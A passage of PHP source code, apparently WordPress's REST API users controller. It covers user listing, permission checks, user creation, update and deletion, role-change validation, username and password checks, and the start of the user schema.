		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'      => 'exclude',
			'include'      => 'include',
			'order'        => 'order',
			'per_page'     => 'number',
			'search'       => 'search',
			'roles'        => 'role__in',
			'capabilities' => 'capability__in',
			'slug'         => 'nicename__in',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		if ( isset( $registered['orderby'] ) ) {
			$orderby_possibles        = array(
				'id'              => 'ID',
				'include'         => 'include',
				'name'            => 'display_name',
				'registered_date' => 'registered',
				'slug'            => 'user_nicename',
				'include_slugs'   => 'nicename__in',
				'email'           => 'user_email',
				'url'             => 'user_url',
			);
			$prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ];
		}

		if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) {
			$prepared_args['who'] = 'authors';
		} elseif ( ! current_user_can( 'list_users' ) ) {
			$prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' );
		}

		if ( ! empty( $request['has_published_posts'] ) ) {
			$prepared_args['has_published_posts'] = ( true === $request['has_published_posts'] )
				? get_post_types( array( 'show_in_rest' => true ), 'names' )
				: (array) $request['has_published_posts'];
		}

		if ( ! empty( $prepared_args['search'] ) ) {
			if ( ! current_user_can( 'list_users' ) ) {
				$prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' );
			}
			$prepared_args['search'] = '*' . $prepared_args['search'] . '*';
		}
		/**
		 * Filters WP_User_Query arguments when querying users via the REST API.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_user_query/
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_args Array of arguments for WP_User_Query.
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request );

		$query = new WP_User_Query( $prepared_args );

		$users = array();

		foreach ( $query->results as $user ) {
			$data    = $this->prepare_item_for_response( $user, $request );
			$users[] = $this->prepare_response_for_collection( $data );
		}

		$response = rest_ensure_response( $users );

		// Store pagination values for headers then unset for count query.
		$per_page = (int) $prepared_args['number'];
		$page     = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$prepared_args['fields'] = 'ID';

		$total_users = $query->get_total();

		if ( $total_users < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );
			$count_query = new WP_User_Query( $prepared_args );
			$total_users = $count_query->get_total();
		}

		$response->header( 'X-WP-Total', (int) $total_users );

		$max_pages = (int) ceil( $total_users / $per_page );

		$response->header( 'X-WP-TotalPages', $max_pages );

		$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the user, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise.
	 */
	protected function get_user( $id ) {
		$error = new WP_Error(
			'rest_user_invalid_id',
			__( 'Invalid user ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$user = get_userdata( (int) $id );
		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		return $user;
	}

	/**
	 * Checks if a given request has access to read a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$types = get_post_types( array( 'show_in_rest' => true ), 'names' );

		if ( get_current_user_id() === $user->ID ) {
			return true;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to list users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		} elseif ( ! count_user_posts( $user->ID, $types ) && ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to list users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$user     = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $user );

		return $response;
	}

	/**
	 * Retrieves the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$current_user_id = get_current_user_id();

		if ( empty( $current_user_id ) ) {
			return new WP_Error(
				'rest_not_logged_in',
				__( 'You are not currently logged in.' ),
				array( 'status' => 401 )
			);
		}

		$user     = wp_get_current_user();
		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Checks if a given request has access create users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! current_user_can( 'create_users' ) ) {
			return new WP_Error(
				'rest_cannot_create_user',
				__( 'Sorry, you are not allowed to create new users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_user_exists',
				__( 'Cannot create existing user.' ),
				array( 'status' => 400 )
			);
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			$check_permission = $this->check_role_update( $request['id'], $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		if ( is_multisite() ) {
			$ret = wpmu_validate_user_signup( $user->user_login, $user->user_email );

			if ( is_wp_error( $ret['errors'] ) && $ret['errors']->has_errors() ) {
				$error = new WP_Error(
					'rest_invalid_param',
					__( 'Invalid user parameter(s).' ),
					array( 'status' => 400 )
				);

				foreach ( $ret['errors']->errors as $code => $messages ) {
					foreach ( $messages as $message ) {
						$error->add( $code, $message );
					}

					$error_data = $error->get_error_data( $code );

					if ( $error_data ) {
						$error->add_data( $error_data, $code );
					}
				}
				return $error;
			}
		}

		if ( is_multisite() ) {
			$user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email );

			if ( ! $user_id ) {
				return new WP_Error(
					'rest_user_create',
					__( 'Error creating new user.' ),
					array( 'status' => 500 )
				);
			}

			$user->ID = $user_id;
			$user_id  = wp_update_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}

			$result = add_user_to_blog( get_site()->id, $user_id, '' );
			if ( is_wp_error( $result ) ) {
				return $result;
			}
		} else {
			$user_id = wp_insert_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}
		}

		$user = get_user_by( 'id', $user_id );

		/**
		 * Fires immediately after a user is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_insert_user', $user, $request, true );

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $user_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user          = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a user is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_after_insert_user', $user, $request, true );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! empty( $request['roles'] ) ) {
			if ( ! current_user_can( 'promote_user', $user->ID ) ) {
				return new WP_Error(
					'rest_cannot_edit_roles',
					__( 'Sorry, you are not allowed to edit roles of this user.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}

			$request_params = array_keys( $request->get_params() );
			sort( $request_params );
			/*
			 * If only 'id' and 'roles' are specified (we are only trying to
			 * edit roles), then only the 'promote_user' cap is required.
			 */
			if ( array( 'id', 'roles' ) === $request_params ) {
				return true;
			}
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id = $user->ID;

		$owner_id = false;
		if ( is_string( $request['email'] ) ) {
			$owner_id = email_exists( $request['email'] );
		}

		if ( $owner_id && $owner_id !== $id ) {
			return new WP_Error(
				'rest_user_invalid_email',
				__( 'Invalid email address.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) {
			return new WP_Error(
				'rest_user_invalid_argument',
				__( 'Username is not editable.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) {
			return new WP_Error(
				'rest_user_invalid_slug',
				__( 'Invalid slug.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['roles'] ) ) {
			$check_permission = $this->check_role_update( $id, $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		// Ensure we're operating on the same user we already checked.
		$user->ID = $id;

		$user_id = wp_update_user( wp_slash( (array) $user ) );

		if ( is_wp_error( $user_id ) ) {
			return $user_id;
		}

		$user = get_user_by( 'id', $user_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_insert_user', $user, $request, false );

		if ( ! empty( $request['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user          = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_after_insert_user', $user, $request, false );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Checks if a given request has access to update the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Updates the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item( $request );
	}

	/**
	 * Checks if a given request has access delete a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_user', $user->ID ) ) {
			return new WP_Error(
				'rest_user_cannot_delete',
				__( 'Sorry, you are not allowed to delete this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		// We don't support delete requests in multisite.
		if ( is_multisite() ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The user cannot be deleted.' ),
				array( 'status' => 501 )
			);
		}

		$user = $this->get_user( $request['id'] );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id       = $user->ID;
		$reassign = false === $request['reassign'] ? null : absint( $request['reassign'] );
		$force    = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for users.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		if ( ! empty( $reassign ) ) {
			if ( $reassign === $id || ! get_userdata( $reassign ) ) {
				return new WP_Error(
					'rest_user_invalid_reassign',
					__( 'Invalid user ID for reassignment.' ),
					array( 'status' => 400 )
				);
			}
		}

		$request->set_param( 'context', 'edit' );

		$previous = $this->prepare_item_for_response( $user, $request );

		// Include user admin functions to get access to wp_delete_user().
		require_once ABSPATH . 'wp-admin/includes/user.php';

		$result = wp_delete_user( $id, $reassign );

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The user cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires immediately after a user is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User          $user     The user data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( 'rest_delete_user', $user, $response, $request );

		return $response;
	}

	/**
	 * Checks if a given request has access to delete the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item_permissions_check( $request );
	}

	/**
	 * Deletes the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item( $request );
	}

	/**
	 * Prepares a single user output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User         $item    User object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $user->ID;
		}

		if ( in_array( 'username', $fields, true ) ) {
			$data['username'] = $user->user_login;
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $user->display_name;
		}

		if ( in_array( 'first_name', $fields, true ) ) {
			$data['first_name'] = $user->first_name;
		}

		if ( in_array( 'last_name', $fields, true ) ) {
			$data['last_name'] = $user->last_name;
		}

		if ( in_array( 'email', $fields, true ) ) {
			$data['email'] = $user->user_email;
		}

		if ( in_array( 'url', $fields, true ) ) {
			$data['url'] = $user->user_url;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $user->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_author_posts_url( $user->ID, $user->user_nicename );
		}

		if ( in_array( 'locale', $fields, true ) ) {
			$data['locale'] = get_user_locale( $user );
		}

		if ( in_array( 'nickname', $fields, true ) ) {
			$data['nickname'] = $user->nickname;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $user->user_nicename;
		}

		if ( in_array( 'roles', $fields, true ) ) {
			// Defensively call array_values() to ensure an array is returned.
			$data['roles'] = array_values( $user->roles );
		}

		if ( in_array( 'registered_date', $fields, true ) ) {
			$data['registered_date'] = gmdate( 'c', strtotime( $user->user_registered ) );
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = (object) $user->allcaps;
		}

		if ( in_array( 'extra_capabilities', $fields, true ) ) {
			$data['extra_capabilities'] = (object) $user->caps;
		}

		if ( in_array( 'avatar_urls', $fields, true ) ) {
			$data['avatar_urls'] = rest_get_avatar_urls( $user );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $user->ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'embed';

		$data = $this->add_additional_fields_to_object( $data, $request );
		$data = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $user ) );
		}

		/**
		 * Filters user data returned from the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_User          $user     User object used to create response.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_user', $response, $user, $request );
	}

	/**
	 * Prepares links for the user request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_User $user User object.
	 * @return array Links for the given user.
	 */
	protected function prepare_links( $user ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		return $links;
	}

	/**
	 * Prepares a single user for creation or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object User object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_user = new stdClass();

		$schema = $this->get_item_schema();

		// Required arguments.
		if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) {
			$prepared_user->user_email = $request['email'];
		}

		if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) {
			$prepared_user->user_login = $request['username'];
		}

		if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) {
			$prepared_user->user_pass = $request['password'];
		}

		// Optional arguments.
		if ( isset( $request['id'] ) ) {
			$prepared_user->ID = absint( $request['id'] );
		}

		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_user->display_name = $request['name'];
		}

		if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) {
			$prepared_user->first_name = $request['first_name'];
		}

		if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) {
			$prepared_user->last_name = $request['last_name'];
		}

		if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) {
			$prepared_user->nickname = $request['nickname'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_user->user_nicename = $request['slug'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_user->description = $request['description'];
		}

		if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) {
			$prepared_user->user_url = $request['url'];
		}

		if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) {
			$prepared_user->locale = $request['locale'];
		}

		// Setting roles will be handled outside of this function.
		if ( isset( $request['roles'] ) ) {
			$prepared_user->role = false;
		}

		/**
		 * Filters user data before insertion via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_user User object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( 'rest_pre_insert_user', $prepared_user, $request );
	}

	/**
	 * Determines if the current user is allowed to make the desired roles change.
	 *
	 * @since 4.7.0
	 *
	 * @global WP_Roles $wp_roles WordPress role management object.
	 *
	 * @param int   $user_id User ID.
	 * @param array $roles   New user roles.
	 * @return true|WP_Error True if the current user is allowed to make the role change,
	 *                       otherwise a WP_Error object.
	 */
	protected function check_role_update( $user_id, $roles ) {
		global $wp_roles;

		foreach ( $roles as $role ) {

			if ( ! isset( $wp_roles->role_objects[ $role ] ) ) {
				return new WP_Error(
					'rest_user_invalid_role',
					/* translators: %s: Role key. */
					sprintf( __( 'The role %s does not exist.' ), $role ),
					array( 'status' => 400 )
				);
			}

			$potential_role = $wp_roles->role_objects[ $role ];

			/*
			 * Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
			 * Multisite super admins can freely edit their blog roles -- they possess all caps.
			 */
			if ( ! ( is_multisite()
				&& current_user_can( 'manage_sites' ) )
				&& get_current_user_id() === $user_id
				&& ! $potential_role->has_cap( 'edit_users' )
			) {
				return new WP_Error(
					'rest_user_invalid_role',
					__( 'Sorry, you are not allowed to give users that role.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}

			// Include user admin functions to get access to get_editable_roles().
			require_once ABSPATH . 'wp-admin/includes/user.php';

			// The new role must be editable by the logged-in user.
			$editable_roles = get_editable_roles();

			if ( empty( $editable_roles[ $role ] ) ) {
				return new WP_Error(
					'rest_user_invalid_role',
					__( 'Sorry, you are not allowed to give users that role.' ),
					array( 'status' => 403 )
				);
			}
		}

		return true;
	}

	/**
	 * Check a username for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   The username submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized username, if valid, otherwise an error.
	 */
	public function check_username( $value, $request, $param ) {
		$username = (string) $value;

		if ( ! validate_username( $username ) ) {
			return new WP_Error(
				'rest_user_invalid_username',
				__( 'This username is invalid because it uses illegal characters. Please enter a valid username.' ),
				array( 'status' => 400 )
			);
		}

		/** This filter is documented in wp-includes/user.php */
		$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

		if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) {
			return new WP_Error(
				'rest_user_invalid_username',
				__( 'Sorry, that username is not allowed.' ),
				array( 'status' => 400 )
			);
		}

		return $username;
	}

	/**
	 * Check a user password for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   The password submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized password, if valid, otherwise an error.
	 */
	public function check_user_password( $value, $request, $param ) {
		$password = (string) $value;

		if ( empty( $password ) ) {
			return new WP_Error(
				'rest_user_invalid_password',
				__( 'Passwords cannot be empty.' ),
				array( 'status' => 400 )
			);
		}

		if ( str_contains( $password, '\\' ) ) {
			return new WP_Error(
				'rest_user_invalid_password',
				sprintf(
					/* translators: %s: The '\' character. */
					__( 'Passwords cannot contain the "%s" character.' ),
					'\\'
				),
				array( 'status' => 400 )
			);
		}

		return $password;
	}

	/**
	 * Retrieves the user's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'user',
			'type'       => 'object',
			'properties' => array(
				'id'                 => array(
					'description' => __( 'Unique identifier for the user.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'username'           => array(
					'description' => __( 'Login name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_username' ),
					),
				),
				'name'               => array(
					'description' => __( 'Display name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'first_name'         => array(
					'description' => __( 'First name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'last_name'          => array(
					'description' => __( 'Last name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'email'              => array(
					'description' => __( 'The email address for the user.' ),
					'type'        => 'string',
					'format'      => 'email',
					'context'     => array( 'edit' ),
					'required'    => true,
				),
				'url'                => array(
					'description' => __( 'URL of the user.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'description'        => array(
					'description' => __( 'Description of the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'link'               => array(
					'description' => __( 'Author URL of the user.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'locale'             => array(
					'description' => __( 'Locale for the user.' ),
					'type'        => 'string',
					'enum'        => array_merge( array( '', 'en_US' ), get_available_languages() ),
					'context'     => array( 'edit' ),
				),
				'nickname'           => array(
					'description' => __( 'The nickname for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'slug'               => array(
					'description' => __( 'An alphanumeric identifier for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'registered_date'    => array(
					'description' => __( 'Registration date for the user.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'roles'              => array(
					'description' => __( 'Roles assigned to the user.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'edit' ),
				),
				'password'           => array(
					'description' => __( 'Password for the user (never included).' ),
					'type'        => 'string',
					'context'     => array(), // Password is never displayed.
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_user_password' ),
					),
				),
				'capabilities'       => array(
					'description' => __( 'All capabilities assigned to the user.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'extra_capabilities' => array(
					'description' => __( 'Any extra capabilities assigned to the user.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();

			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: Avatar image size in pixels. */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

